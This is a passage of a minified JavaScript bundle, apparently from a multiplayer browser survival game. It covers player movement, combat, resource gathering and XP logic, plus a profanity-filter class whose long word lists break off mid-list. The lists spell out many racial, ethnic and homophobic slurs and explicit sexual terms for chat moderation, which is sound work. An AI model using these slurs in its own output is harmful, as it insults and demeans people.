5982 this.dmgOverTime.dmg, this.dmgOverTime.doer), this.dmgOverTime.time -=
5983 1, this.dmgOverTime.time <= 0 && (this.dmgOverTime.dmg = 0)), this.healCol &&
5984 this.changeHealth(this.healCol, this), b = 1e3
5985 }
5986 if (this.alive) {
5987 if (this.slowMult < 1 && (this.slowMult += 8e-4 * e, this.slowMult > 1 &&
5988 (this.slowMult = 1)), this.noMovTimer += e, (this.xVel || this.yVel) &&
5989 (this.noMovTimer = 0), this.lockMove) this.xVel = 0, this.yVel = 0;
5990 else {
5991 var i = (this.buildIndex >= 0 ? .5 : 1) * (p.weapons[this.weaponIndex]
5992 .spdMult || 1) * (this.skin && this.skin.spdMult || 1) * (this.tail &&
5993 this.tail.spdMult || 1) * (this.y <= n.snowBiomeTop ? this.skin &&
5994 this.skin.coldM ? 1 : n.snowSpeed : 1) * this.slowMult;
5995 !this.zIndex && this.y >= n.mapScale / 2 - n.riverWidth / 2 && this.y <=
5996 n.mapScale / 2 + n.riverWidth / 2 && (this.skin && this.skin.watrImm ?
5997 (i *= .75, this.xVel += .4 * n.waterCurrent * e) : (i *= .33, this.xVel +=
5998 n.waterCurrent * e));
5999 var r = null != this.moveDir ? s(this.moveDir) : 0,
6000 d = null != this.moveDir ? a(this.moveDir) : 0,
6001 g = c(r * r + d * d);
6002 0 != g && (r /= g, d /= g), r && (this.xVel += r * this.speed * i * e),
6003 d && (this.yVel += d * this.speed * i * e)
6004 }
6005 var m;
6006 this.zIndex = 0, this.lockMove = !1, this.healCol = 0;
6007 for (var y = l.getDistance(0, 0, this.xVel * e, this.yVel * e), k =
6008 Math.min(4, Math.max(1, Math.round(y / 40))), v = 1 / k, w = 0; w <
6009 k; ++w) {
6010 this.xVel && (this.x += this.xVel * e * v), this.yVel && (this.y +=
6011 this.yVel * e * v), m = u.getGridArrays(this.x, this.y, this.scale);
6012 for (var x = 0; x < m.length; ++x)
6013 for (var S = 0; S < m[x].length; ++S) m[x][S].active && u.checkCollision(
6014 this, m[x][S], v)
6015 }
6016 for (w = (I = f.indexOf(this)) + 1; w < f.length; ++w) f[w] != this &&
6017 f[w].alive && u.checkCollision(this, f[w]);
6018 if (this.xVel && (this.xVel *= o(n.playerDecel, e), this.xVel <= .01 &&
6019 this.xVel >= -.01 && (this.xVel = 0)), this.yVel && (this.yVel *= o(
6020 n.playerDecel, e), this.yVel <= .01 && this.yVel >= -.01 && (this.yVel =
6021 0)), this.x - this.scale < 0 ? this.x = this.scale : this.x + this.scale >
6022 n.mapScale && (this.x = n.mapScale - this.scale), this.y - this.scale <
6023 0 ? this.y = this.scale : this.y + this.scale > n.mapScale && (this.y =
6024 n.mapScale - this.scale), this.buildIndex < 0)
6025 if (this.reloads[this.weaponIndex] > 0) this.reloads[this.weaponIndex] -=
6026 e, this.gathering = this.mouseState;
6027 else if (this.gathering || this.autoGather) {
6028 var T = !0;
6029 if (null != p.weapons[this.weaponIndex].gather) this.gather(f);
6030 else if (null != p.weapons[this.weaponIndex].projectile && this.hasRes(
6031 p.weapons[this.weaponIndex], this.skin ? this.skin.projCost : 0)) {
6032 this.useRes(p.weapons[this.weaponIndex], this.skin ? this.skin.projCost :
6033 0), this.noMovTimer = 0;
6034 var I = p.weapons[this.weaponIndex].projectile,
6035 E = 2 * this.scale,
6036 M = this.skin && this.skin.aMlt ? this.skin.aMlt : 1;
6037 p.weapons[this.weaponIndex].rec && (this.xVel -= p.weapons[this.weaponIndex]
6038 .rec * s(this.dir), this.yVel -= p.weapons[this.weaponIndex].rec *
6039 a(this.dir)), h.addProjectile(this.x + E * s(this.dir), this.y + E *
6040 a(this.dir), this.dir, p.projectiles[I].range * M, p.projectiles[I]
6041 .speed * M, I, this, null, this.zIndex)
6042 } else T = !1;
6043 this.gathering = this.mouseState, T && (this.reloads[this.weaponIndex] =
6044 p.weapons[this.weaponIndex].speed * (this.skin && this.skin.atkSpd ||
6045 1))
6046 }
6047 }
6048 }
6049 }, this.addWeaponXP = function(e) {
6050 this.weaponXP[this.weaponIndex] || (this.weaponXP[this.weaponIndex] = 0),
6051 this.weaponXP[this.weaponIndex] += e
6052 }, this.earnXP = function(e) {
6053 this.age < n.maxAge && (this.XP += e, this.XP >= this.maxXP ? (this.age <
6054 n.maxAge ? (this.age++, this.XP = 0, this.maxXP *= 1.2) : this.XP =
6055 this.maxXP, this.upgradePoints++, y.send(this.id, "16", this.upgradePoints,
6056 this.upgrAge), y.send(this.id, "15", this.XP, l.fixTo(this.maxXP, 1),
6057 this.age)) : y.send(this.id, "15", this.XP))
6058 }, this.changeHealth = function(e, t) {
6059 if (e > 0 && this.health >= this.maxHealth) return !1;
6060 e < 0 && this.skin && (e *= this.skin.dmgMult || 1), e < 0 && this.tail &&
6061 (e *= this.tail.dmgMult || 1), e < 0 && (this.hitTime = Date.now()),
6062 this.health += e, this.health > this.maxHealth && (e -= this.health -
6063 this.maxHealth, this.health = this.maxHealth), this.health <= 0 &&
6064 this.kill(t);
6065 for (var n = 0; n < f.length; ++n) this.sentTo[f[n].id] && y.send(f[n].id,
6066 "h", this.sid, Math.round(this.health));
6067 return !t || !t.canSee(this) || t == this && e < 0 || y.send(t.id, "t",
6068 Math.round(this.x), Math.round(this.y), Math.round(-e), 1), !0
6069 }, this.kill = function(e) {
6070 e && e.alive && (e.kills++, e.skin && e.skin.goldSteal ? k(e, Math.round(
6071 this.points / 2)) : k(e, Math.round(100 * this.age * (e.skin && e.skin
6072 .kScrM ? e.skin.kScrM : 1))), y.send(e.id, "9", "kills", e.kills, 1)),
6073 this.alive = !1, y.send(this.id, "11"), v()
6074 }, this.addResource = function(e, t, i) {
6075 !i && t > 0 && this.addWeaponXP(t), 3 == e ? k(this, t, !0) : (this[n.resourceTypes[
6076 e]] += t, y.send(this.id, "9", n.resourceTypes[e], this[n.resourceTypes[
6077 e]], 1))
6078 }, this.changeItemCount = function(e, t) {
6079 this.itemCounts[e] = this.itemCounts[e] || 0, this.itemCounts[e] += t, y
6080 .send(this.id, "14", e, this.itemCounts[e])
6081 }, this.buildItem = function(e) {
6082 var t = this.scale + e.scale + (e.placeOffset || 0),
6083 n = this.x + t * s(this.dir),
6084 i = this.y + t * a(this.dir);
6085 if (this.canBuild(e) && !(e.consume && this.skin && this.skin.noEat) &&
6086 (e.consume || u.checkItemLocation(n, i, e.scale, .6, e.id, !1, this))) {
6087 var r = !1;
6088 if (e.consume) {
6089 if (this.hitTime) {
6090 var o = Date.now() - this.hitTime;
6091 this.hitTime = 0, o <= 120 ? (this.shameCount++, this.shameCount >= 8 &&
6092 (this.shameTimer = 3e4, this.shameCount = 0)) : (this.shameCount -=
6093 2, this.shameCount <= 0 && (this.shameCount = 0))
6094 }
6095 this.shameTimer <= 0 && (r = e.consume(this))
6096 } else r = !0, e.group.limit && this.changeItemCount(e.group.id, 1), e.pps &&
6097 (this.pps += e.pps), u.add(u.objects.length, n, i, this.dir, e.scale,
6098 e.type, e, !1, this);
6099 r && (this.useRes(e), this.buildIndex = -1)
6100 }
6101 }, this.hasRes = function(e, t) {
6102 for (var n = 0; n < e.req.length;) {
6103 if (this[e.req[n]] < Math.round(e.req[n + 1] * (t || 1))) return !1;
6104 n += 2
6105 }
6106 return !0
6107 }, this.useRes = function(e, t) {
6108 if (!n.inSandbox)
6109 for (var i = 0; i < e.req.length;) this.addResource(n.resourceTypes.indexOf(
6110 e.req[i]), -Math.round(e.req[i + 1] * (t || 1))), i += 2
6111 }, this.canBuild = function(e) {
6112 return !!n.inSandbox || !(e.group.limit && this.itemCounts[e.group.id] >=
6113 e.group.limit) && this.hasRes(e)
6114 }, this.gather = function() {
6115 this.noMovTimer = 0, this.slowMult -= p.weapons[this.weaponIndex].hitSlow ||
6116 .3, this.slowMult < 0 && (this.slowMult = 0);
6117 for (var e, t, i, r = n.fetchVariant(this), o = r.poison, c = r.val, h = {},
6118 g = u.getGridArrays(this.x, this.y, p.weapons[this.weaponIndex].range),
6119 m = 0; m < g.length; ++m)
6120 for (var y = 0; y < g[m].length; ++y)
6121 if ((t = g[m][y]).active && !t.dontGather && !h[t.sid] && t.visibleToPlayer(
6122 this) && l.getDistance(this.x, this.y, t.x, t.y) - t.scale <= p.weapons[
6123 this.weaponIndex].range && (e = l.getDirection(t.x, t.y, this.x,
6124 this.y), l.getAngleDist(e, this.dir) <= n.gatherAngle)) {
6125 if (h[t.sid] = 1, t.health) {
6126 if (t.changeHealth(-p.weapons[this.weaponIndex].dmg * c * (p.weapons[
6127 this.weaponIndex].sDmg || 1) * (this.skin && this.skin.bDmg ?
6128 this.skin.bDmg : 1), this)) {
6129 for (var k = 0; k < t.req.length;) this.addResource(n.resourceTypes
6130 .indexOf(t.req[k]), t.req[k + 1]), k += 2;
6131 u.disableObj(t)
6132 }
6133 } else {
6134 this.earnXP(4 * p.weapons[this.weaponIndex].gather);
6135 var v = p.weapons[this.weaponIndex].gather + (3 == t.type ? 4 : 0);
6136 this.skin && this.skin.extraGold && this.addResource(3, 1), this.addResource(
6137 t.type, v)
6138 }
6139 i = !0, u.hitObj(t, e)
6140 }
6141 for (y = 0; y < f.length + d.length; ++y)
6142 if ((t = f[y] || d[y - f.length]) != this && t.alive && (!t.team || t.team !=
6143 this.team) && l.getDistance(this.x, this.y, t.x, t.y) - 1.8 * t.scale <=
6144 p.weapons[this.weaponIndex].range && (e = l.getDirection(t.x, t.y,
6145 this.x, this.y), l.getAngleDist(e, this.dir) <= n.gatherAngle)) {
6146 var w = p.weapons[this.weaponIndex].steal;
6147 w && t.addResource && (w = Math.min(t.points || 0, w), this.addResource(
6148 3, w), t.addResource(3, -w));
6149 var b = c;
6150 null != t.weaponIndex && p.weapons[t.weaponIndex].shield && l.getAngleDist(
6151 e + Math.PI, t.dir) <= n.shieldAngle && (b = p.weapons[t.weaponIndex]
6152 .shield);
6153 var x = p.weapons[this.weaponIndex].dmg * (this.skin && this.skin.dmgMultO ?
6154 this.skin.dmgMultO : 1) * (this.tail && this.tail.dmgMultO ? this.tail
6155 .dmgMultO : 1),
6156 S = .3 * (t.weightM || 1) + (p.weapons[this.weaponIndex].knock || 0);
6157 t.xVel += S * s(e), t.yVel += S * a(e), this.skin && this.skin.healD &&
6158 this.changeHealth(x * b * this.skin.healD, this), this.tail && this.tail
6159 .healD && this.changeHealth(x * b * this.tail.healD, this), t.skin &&
6160 t.skin.dmg && 1 == b && this.changeHealth(-x * t.skin.dmg, t), t.tail &&
6161 t.tail.dmg && 1 == b && this.changeHealth(-x * t.tail.dmg, t), !(t.dmgOverTime &&
6162 this.skin && this.skin.poisonDmg) || t.skin && t.skin.poisonRes || (
6163 t.dmgOverTime.dmg = this.skin.poisonDmg, t.dmgOverTime.time = this.skin
6164 .poisonTime || 1, t.dmgOverTime.doer = this), !t.dmgOverTime || !o ||
6165 t.skin && t.skin.poisonRes || (t.dmgOverTime.dmg = 5, t.dmgOverTime.time =
6166 5, t.dmgOverTime.doer = this), t.skin && t.skin.dmgK && (this.xVel -=
6167 t.skin.dmgK * s(e), this.yVel -= t.skin.dmgK * a(e)), t.changeHealth(-
6168 x * b, this, this)
6169 }
6170 this.sendAnimation(i ? 1 : 0)
6171 }, this.sendAnimation = function(e) {
6172 for (var t = 0; t < f.length; ++t) this.sentTo[f[t].id] && this.canSee(f[
6173 t]) && y.send(f[t].id, "7", this.sid, e ? 1 : 0, this.weaponIndex)
6174 };
6175 var x = 0,
6176 S = 0;
6177 this.animate = function(e) {
6178 this.animTime > 0 && (this.animTime -= e, this.animTime <= 0 ? (this.animTime =
6179 0, this.dirPlus = 0, x = 0, S = 0) : 0 == S ? (x += e / (this.animSpeed *
6180 n.hitReturnRatio), this.dirPlus = l.lerp(0, this.targetAngle, Math.min(
6181 1, x)), x >= 1 && (x = 1, S = 1)) : (x -= e / (this.animSpeed * (1 -
6182 n.hitReturnRatio)), this.dirPlus = l.lerp(0, this.targetAngle, Math.max(
6183 0, x))))
6184 }, this.startAnim = function(e, t) {
6185 this.animTime = this.animSpeed = p.weapons[t].speed, this.targetAngle =
6186 e ? -n.hitAngle : -Math.PI, x = 0, S = 0
6187 }, this.canSee = function(e) {
6188 if (!e) return !1;
6189 if (e.skin && e.skin.invisTimer && e.noMovTimer >= e.skin.invisTimer)
6190 return !1;
6191 var t = r(e.x - this.x) - e.scale,
6192 i = r(e.y - this.y) - e.scale;
6193 return t <= n.maxScreenWidth / 2 * 1.3 && i <= n.maxScreenHeight / 2 *
6194 1.3
6195 }
6196 }
6197}, function(e, t, n) {
6198 const i = n(50).words,
6199 r = n(51).array;
6200 e.exports = class {
6201 constructor(e = {}) {
6202 Object.assign(this, {
6203 list: e.emptyList && [] || Array.prototype.concat.apply(i, [r, e.list || []]),
6204 exclude: e.exclude || [],
6205 placeHolder: e.placeHolder || "*",
6206 regex: e.regex || /[^a-zA-Z0-9|\$|\@]|\^/g,
6207 replaceRegex: e.replaceRegex || /\w/g
6208 })
6209 }
6210 isProfane(e) {
6211 return this.list.filter(t => {
6212 const n = new RegExp(`\\b${t.replace(/(\W)/g,"\\$1")}\\b`, "gi");
6213 return !this.exclude.includes(t.toLowerCase()) && n.test(e)
6214 }).length > 0 || !1
6215 }
6216 replaceWord(e) {
6217 return e.replace(this.regex, "").replace(this.replaceRegex, this.placeHolder)
6218 }
6219 clean(e) {
6220 return e.split(/\b/).map(e => this.isProfane(e) ? this.replaceWord(e) :
6221 e).join("")
6222 }
6223 addWords() {
6224 let e = Array.from(arguments);
6225 this.list.push(...e), e.map(e => e.toLowerCase()).forEach(e => {
6226 this.exclude.includes(e) && this.exclude.splice(this.exclude.indexOf(
6227 e), 1)
6228 })
6229 }
6230 removeWords() {
6231 this.exclude.push(...Array.from(arguments).map(e => e.toLowerCase()))
6232 }
6233 }
6234}, function(e) {
6235 e.exports = {
6236 words: ["ahole", "anus", "ash0le", "ash0les", "asholes", "ass",
6237 "Ass Monkey", "Assface", "assh0le", "assh0lez", "asshole", "assholes",
6238 "assholz", "asswipe", "azzhole", "bassterds", "bastard", "bastards",
6239 "bastardz", "basterds", "basterdz", "Biatch", "bitch", "bitches",
6240 "Blow Job", "boffing", "butthole", "buttwipe", "c0ck", "c0cks", "c0k",
6241 "Carpet Muncher", "cawk", "cawks", "Clit", "cnts", "cntz", "cock",
6242 "cockhead", "cock-head", "cocks", "CockSucker", "cock-sucker", "crap",
6243 "cum", "cunt", "cunts", "cuntz", "dick", "dild0", "dild0s", "dildo",
6244 "dildos", "dilld0", "dilld0s", "dominatricks", "dominatrics",
6245 "dominatrix", "dyke", "enema", "f u c k", "f u c k e r", "fag", "fag1t",
6246 "faget", "fagg1t", "faggit", "faggot", "fagg0t", "fagit", "fags", "fagz",
6247 "faig", "faigs", "fart", "flipping the bird", "fuck", "fucker", "fuckin",
6248 "fucking", "fucks", "Fudge Packer", "fuk", "Fukah", "Fuken", "fuker",
6249 "Fukin", "Fukk", "Fukkah", "Fukken", "Fukker", "Fukkin", "g00k",
6250 "God-damned", "h00r", "h0ar", "h0re", "hells", "hoar", "hoor", "hoore",
6251 "jackoff", "jap", "japs", "jerk-off", "jisim", "jiss", "jizm", "jizz",
6252 "knob", "knobs", "knobz", "kunt", "kunts", "kuntz", "Lezzian",
6253 "Lipshits", "Lipshitz", "masochist", "masokist", "massterbait",
6254 "masstrbait", "masstrbate", "masterbaiter", "masterbate", "masterbates",
6255 "Motha Fucker", "Motha Fuker", "Motha Fukkah", "Motha Fukker",
6256 "Mother Fucker", "Mother Fukah", "Mother Fuker", "Mother Fukkah",
6257 "Mother Fukker", "mother-fucker", "Mutha Fucker", "Mutha Fukah",
6258 "Mutha Fuker", "Mutha Fukkah", "Mutha Fukker", "n1gr", "nastt",
6259 "nigger;", "nigur;", "niiger;", "niigr;", "orafis", "orgasim;", "orgasm",
6260 "orgasum", "oriface", "orifice", "orifiss", "packi", "packie", "packy",
6261 "paki", "pakie", "paky", "pecker", "peeenus", "peeenusss", "peenus",
6262 "peinus", "pen1s", "penas", "penis", "penis-breath", "penus", "penuus",
6263 "Phuc", "Phuck", "Phuk", "Phuker", "Phukker", "polac", "polack", "polak",
6264 "Poonani", "pr1c", "pr1ck", "pr1k", "pusse", "pussee", "pussy", "puuke",
6265 "puuker", "queer", "queers", "queerz", "qweers", "qweerz", "qweir",
6266 "recktum", "rectum", "retard", "sadist", "scank", "schlong", "screwing",
6267 "semen", "sex", "sexy", "Sh!t", "sh1t", "sh1ter", "sh1ts", "sh1tter",
6268 "sh1tz", "shit", "shits", "shitter", "Shitty", "Shity", "shitz", "Shyt",
6269 "Shyte", "Shytty", "Shyty", "skanck", "skank", "skankee", "skankey",
6270 "skanks", "Skanky", "slag", "slut", "sluts", "Slutty", "slutz",
6271 "son-of-a-bitch", "tit", "turd", "va1jina", "vag1na", "vagiina",
6272 "vagina", "vaj1na", "vajina", "vullva", "vulva", "w0p", "wh00r", "wh0re",
6273 "whore", "xrated", "xxx", "b!+ch", "bitch", "blowjob", "clit",
6274 "arschloch", "fuck", "shit", "ass", "asshole", "b!tch", "b17ch", "b1tch",
6275 "bastard", "bi+ch", "boiolas", "buceta", "c0ck", "cawk", "chink", "cipa",
6276 "clits", "cock", "cum", "cunt", "dildo", "dirsa", "ejakulate", "fatass",
6277 "fcuk", "fuk", "fux0r", "hoer", "hore", "jism", "kawk", "l3itch",
6278 "l3i+ch", "lesbian", "masturbate", "masterbat*", "masterbat3",
6279 "motherfucker", "s.o.b.", "mofo", "nazi", "nigga", "nigger", "nutsack",
6280 "phuck", "pimpis", "pusse", "pussy", "scrotum", "sh!t", "shemale",
6281 "shi+", "sh!+", "slut", "smut", "teets", "tits", "boobs", "b00bs",
6282 "teez", "testical", "testicle", "titt", "w00se", "jackoff", "wank",
6283 "whoar", "whore", "*damn", "*dyke", "*fuck*", "*shit*", "@$$", "amcik",
6284 "andskota", "arse*", "assrammer", "ayir", "bi7ch", "bitch*", "bollock*",
6285 "breasts", "butt-pirate", "cabron", "cazzo", "chraa", "chuj", "Cock*",
6286 "cunt*", "d4mn", "daygo", "dego", "dick*", "dike*", "dupa", "dziwka",
6287 "ejackulate", "Ekrem*", "Ekto", "enculer", "faen", "fag*", "fanculo",
6288 "fanny", "feces", "feg", "Felcher", "ficken", "fitt*", "Flikker",
6289 "foreskin", "Fotze", "Fu(*", "fuk*", "futkretzn", "gook", "guiena",
6290 "h0r", "h4x0r", "hell", "helvete", "hoer*", "honkey", "Huevon", "hui",
6291 "injun", "jizz", "kanker*", "kike", "klootzak", "kraut", "knulle", "kuk",
6292 "kuksuger", "Kurac", "kurwa", "kusi*", "kyrpa*", "lesbo", "mamhoon",
6293 "masturbat*", "merd*", "mibun", "monkleigh", "mouliewop", "muie",
6294 "mulkku", "muschi", "nazis", "nepesaurio", "nigger*", "orospu", "paska*",
6295 "perse", "picka", "pierdol*", "pillu*", "pimmel", "piss*", "pizda",
6296 "poontsee", "poop", "porn", "p0rn", "pr0n", "preteen", "pula", "pule",
6297 "puta", "puto", "qahbeh", "queef*", "rautenberg", "schaffer", "scheiss*",
6298 "schlampe", "schmuck", "screw", "sh!t*", "sharmuta", "sharmute",
6299 "shipal", "shiz", "skribz", "skurwysyn", "sphencter", "spic",
6300 "spierdalaj", "splooge", "suka", "b00b*", "testicle*", "titt*", "twat",
6301 "vittu", "wank*", "wetback*", "wichser", "wop*", "yed", "zabourah"
6302 ]
6303 }
6304}, function(e, t, n) {
6305 e.exports = {
6306 object: n(52),
6307 array: n(53),
6308 regex: n(54)
6309 }
6310}, function(e, t) {
6311 e.exports = {
6312 "4r5e": 1,
6313 "5h1t": 1,
6314 "5hit": 1,
6315 a55: 1,
6316 anal: 1,
6317 anus: 1,
6318 ar5e: 1,
6319 arrse: 1,
6320 arse: 1,
6321 ass: 1,
6322 "ass-fucker": 1,
6323 asses: 1,
6324 assfucker: 1,
6325 assfukka: 1,
6326 asshole: 1,
6327 assholes: 1,
6328 asswhole: 1,
6329 a_s_s: 1,
6330 "b!tch": 1,
6331 b00bs: 1,
6332 b17ch: 1,
6333 b1tch: 1,
6334 ballbag: 1,
6335 balls: 1,
6336 ballsack: 1,
6337 bastard: 1,
6338 beastial: 1,
6339 beastiality: 1,
6340 bellend: 1,
6341 bestial: 1,
6342 bestiality: 1,
6343 "bi+ch": 1,
6344 biatch: 1,
6345 bitch: 1,
6346 bitcher: 1,
6347 bitchers: 1,
6348 bitches: 1,
6349 bitchin: 1,
6350 bitching: 1,
6351 bloody: 1,
6352 "blow job": 1,
6353 blowjob: 1,
6354 blowjobs: 1,
6355 boiolas: 1,
6356 bollock: 1,
6357 bollok: 1,
6358 boner: 1,
6359 boob: 1,
6360 boobs: 1,
6361 booobs: 1,
6362 boooobs: 1,
6363 booooobs: 1,
6364 booooooobs: 1,
6365 breasts: 1,
6366 buceta: 1,
6367 bugger: 1,
6368 bum: 1,
6369 "bunny fucker": 1,
6370 butt: 1,
6371 butthole: 1,
6372 buttmuch: 1,
6373 buttplug: 1,
6374 c0ck: 1,
6375 c0cksucker: 1,
6376 "carpet muncher": 1,
6377 cawk: 1,
6378 chink: 1,
6379 cipa: 1,
6380 cl1t: 1,
6381 clit: 1,
6382 clitoris: 1,
6383 clits: 1,
6384 cnut: 1,
6385 cock: 1,
6386 "cock-sucker": 1,
6387 cockface: 1,
6388 cockhead: 1,
6389 cockmunch: 1,
6390 cockmuncher: 1,
6391 cocks: 1,
6392 cocksuck: 1,
6393 cocksucked: 1,
6394 cocksucker: 1,
6395 cocksucking: 1,
6396 cocksucks: 1,
6397 cocksuka: 1,
6398 cocksukka: 1,
6399 cok: 1,
6400 cokmuncher: 1,
6401 coksucka: 1,
6402 coon: 1,
6403 cox: 1,
6404 crap: 1,
6405 cum: 1,
6406 cummer: 1,
6407 cumming: 1,
6408 cums: 1,
6409 cumshot: 1,
6410 cunilingus: 1,
6411 cunillingus: 1,
6412 cunnilingus: 1,
6413 cunt: 1,
6414 cuntlick: 1,
6415 cuntlicker: 1,
6416 cuntlicking: 1,
6417 cunts: 1,
6418 cyalis: 1,
6419 cyberfuc: 1,
6420 cyberfuck: 1,
6421 cyberfucked: 1,
6422 cyberfucker: 1,
6423 cyberfuckers: 1,
6424 cyberfucking: 1,
6425 d1ck: 1,
6426 damn: 1,
6427 dick: 1,
6428 dickhead: 1,
6429 dildo: 1,
6430 dildos: 1,
6431 dink: 1,
6432 dinks: 1,
6433 dirsa: 1,
6434 dlck: 1,
6435 "dog-fucker": 1,
6436 doggin: 1,
6437 dogging: 1,
6438 donkeyribber: 1,
6439 doosh: 1,
6440 duche: 1,
6441 dyke: 1,
6442 ejaculate: 1,
6443 ejaculated: 1,
6444 ejaculates: 1,
6445 ejaculating: 1,
6446 ejaculatings: 1,
6447 ejaculation: 1,
6448 ejakulate: 1,
6449 "f u c k": 1,
6450 "f u c k e r": 1,
6451 f4nny: 1,
6452 fag: 1,
6453 fagging: 1,
6454 faggitt: 1,
6455 faggot: 1,
6456 faggs: 1,
6457 fagot: 1,
6458 fagots: 1,
6459 fags: 1,
6460 fanny: 1,
6461 fannyflaps: 1,
6462 fannyfucker: 1,
6463 fanyy: 1,
6464 fatass: 1,
6465 fcuk: 1,
6466 fcuker: 1,
6467 fcuking: 1,
6468 feck: 1,
6469 fecker: 1,
6470 felching: 1,
6471 fellate: 1,
6472 fellatio: 1,
6473 fingerfuck: 1,
6474 fingerfucked: 1,
6475 fingerfucker: 1,
6476 fingerfuckers: 1,
6477 fingerfucking: 1,
6478 fingerfucks: 1,
6479 fistfuck: 1,
6480 fistfucked: 1,
6481 fistfucker: 1,
6482 fistfuckers: 1,
6483 fistfucking: 1,
6484 fistfuckings: 1,
6485 fistfucks: 1,
6486 flange: 1,
6487 fook: 1,
6488 fooker: 1,
6489 fuck: 1,
6490 fucka: 1,
6491 fucked: 1,
6492 fucker: 1,
6493 fuckers: 1,
6494 fuckhead: 1,
6495 fuckheads: 1,
6496 fuckin: 1,
6497 fucking: 1,
6498 fuckings: 1,
6499 fuckingshitmotherfucker: 1,
6500 fuckme: 1,
6501 fucks: 1,
6502 fuckwhit: 1,
6503 fuckwit: 1,
6504 "fudge packer": 1,
6505 fudgepacker: 1,
6506 fuk: 1,
6507 fuker: 1,
6508 fukker: 1,
6509 fukkin: 1,
6510 fuks: 1,
6511 fukwhit: 1,
6512 fukwit: 1,
6513 fux: 1,
6514 fux0r: 1,
6515 f_u_c_k: 1,
6516 gangbang: 1,
6517 gangbanged: 1,
6518 gangbangs: 1,
6519 gaylord: 1,
6520 gaysex: 1,
6521 goatse: 1,
6522 God: 1,
6523 "god-dam": 1,
6524 "god-damned": 1,
6525 goddamn: 1,
6526 goddamned: 1,
6527 hardcoresex: 1,
6528 hell: 1,
6529 heshe: 1,
6530 hoar: 1,
6531 hoare: 1,
6532 hoer: 1,
6533 homo: 1,
6534 hore: 1,
6535 horniest: 1,
6536 horny: 1,
6537 hotsex: 1,
6538 "jack-off": 1,
6539 jackoff: 1,
6540 jap: 1,
6541 "jerk-off": 1,
6542 jism: 1,
6543 jiz: 1,
6544 jizm: 1,
6545 jizz: 1,
6546 kawk: 1,
6547 knob: 1,
6548 knobead: 1,
6549 knobed: 1,
6550 knobend: 1,
6551 knobhead: 1,
6552 knobjocky: 1,
6553 knobjokey: 1,
6554 kock: 1,
6555 kondum: 1,
6556 kondums: 1,
6557 kum: 1,
6558 kummer: 1,
6559 kumming: 1,
6560 kums: 1,
6561 kunilingus: 1,
6562 "l3i+ch": 1,
6563 l3itch: 1,
6564 labia: 1,
6565 lust: 1,
6566 lusting: 1,
6567 m0f0: 1,
6568 m0fo: 1,
6569 m45terbate: 1,
6570 ma5terb8: 1,
6571 ma5terbate: 1,
6572 masochist: 1,
6573 "master-bate": 1,
6574 masterb8: 1,
6575 "masterbat*": 1,
6576 masterbat3: 1,
6577 masterbate: 1,
6578 masterbation: 1,
6579 masterbations: 1,
6580 masturbate: 1,
6581 "mo-fo": 1,
6582 mof0: 1,
6583 mofo: 1,
6584 mothafuck: 1,
6585 mothafucka: 1,
6586 mothafuckas: 1,
6587 mothafuckaz: 1,
6588 mothafucked: 1,
6589 mothafucker: 1,
6590 mothafuckers: 1,
6591 mothafuckin: 1,
6592 mothafucking: 1,
6593 mothafuckings: 1,
6594 mothafucks: 1,
6595 "mother fucker": 1,
6596 motherfuck: 1,
6597 motherfucked: 1,
6598 motherfucker: 1,
6599 motherfuckers: 1,
6600 motherfuckin: 1,
6601 motherfucking: 1,
6602 motherfuckings: 1,
6603 motherfuckka: 1,
6604 motherfucks: 1,
6605 muff: 1,
6606 mutha: 1,
6607 muthafecker: 1,
6608 muthafuckker: 1,
6609 muther: 1,
6610 mutherfucker: 1,
6611 n1gga: 1,
6612 n1gger: 1,
6613 nazi: 1,
6614 nigg3r: 1,
6615 nigg4h: 1,
6616 nigga: 1,
6617 niggah: 1,
6618 niggas: 1,
6619 niggaz: 1,
6620 nigger: 1,
6621 niggers: 1,
6622 nob: 1,
6623 "nob jokey": 1,
6624 nobhead: 1,
6625 nobjocky: 1,
6626 nobjokey: 1,
6627 numbnuts: 1,
6628 nutsack: 1,
6629 orgasim: 1,
6630 orgasims: 1,
6631 orgasm: 1,
6632 orgasms: 1,
6633 p0rn: 1,
6634 pawn: 1,
6635 pecker: 1,
6636 penis: 1,
6637 penisfucker: 1,
6638 phonesex: 1,
6639 phuck: 1,
6640 phuk: 1,
6641 phuked: 1,
6642 phuking: 1,
6643 phukked: 1,
6644 phukking: 1,
6645 phuks: 1,
6646 phuq: 1,
6647 pigfucker: 1,
6648 pimpis: 1,
6649 piss: 1,
6650 pissed: 1,
6651 pisser: 1,
6652 pissers: 1,
6653 pisses: 1,
6654 pissflaps: 1,
6655 pissin: 1,
6656 pissing: 1,
6657 pissoff: 1,
6658 poop: 1,
6659 porn: 1,
6660 porno: 1,
6661 pornography: 1,
6662 pornos: 1,
6663 prick: 1,
6664 pricks: 1,
6665 pron: 1,
6666 pube: 1,
6667 pusse: 1,
6668 pussi: 1,
6669 pussies: 1,
6670 pussy: 1,
6671 pussys: 1,
6672 rectum: 1,
6673 retard: 1,
6674 rimjaw: 1,
6675 rimming: 1,
6676 "s hit": 1,
6677 "s.o.b.": 1,
6678 sadist: 1,
6679 schlong: 1,
6680 screwing: 1,
6681 scroat: 1,
6682 scrote: 1,
6683 scrotum: 1,
6684 semen: 1,
6685 sex: 1,
6686 "sh!+": 1,
6687 "sh!t": 1,
6688 sh1t: 1,
6689 shag: 1,
6690 shagger: 1,
6691 shaggin: 1,
6692 shagging: 1,
6693 shemale: 1,
6694 "shi+": 1,
6695 shit: 1,
6696 shitdick: 1,
6697 shite: 1,
6698 shited: 1,
6699 shitey: 1,
6700 shitfuck: 1,
6701 shitfull: 1,
6702 shithead: 1,
6703 shiting: 1,
6704 shitings: 1,
6705 shits: 1,
6706 shitted: 1,
6707 shitter: 1,
6708 shitters: 1,
6709 shitting: 1,
6710 shittings: 1,
6711 shitty: 1,
6712 skank: 1,
6713 slut: 1,
6714 sluts: 1,
6715 smegma: 1,
6716 smut: 1,
6717 snatch: 1,
6718 "son-of-a-bitch": 1,
6719 spac: 1,
6720 spunk: 1,
6721 s_h_i_t: 1,
6722 t1tt1e5: 1,
6723 t1tties: 1,
6724 teets: 1,
6725 teez: 1,
6726 testical: 1,
6727 testicle: 1,
6728 tit: 1,
6729 titfuck: 1,
6730 tits: 1,
6731 titt: 1,
6732 tittie5: 1,
6733 tittiefucker: 1,
6734 titties: 1,
6735 tittyfuck: 1,
6736 tittywank: 1,
6737 titwank: 1,
6738 tosser: 1,
6739 turd: 1,
6740 tw4t: 1,
6741 twat: 1,
6742 twathead: 1,
6743 twatty: 1,
6744 twunt: 1,
6745 twunter: 1,
6746 v14gra: 1,
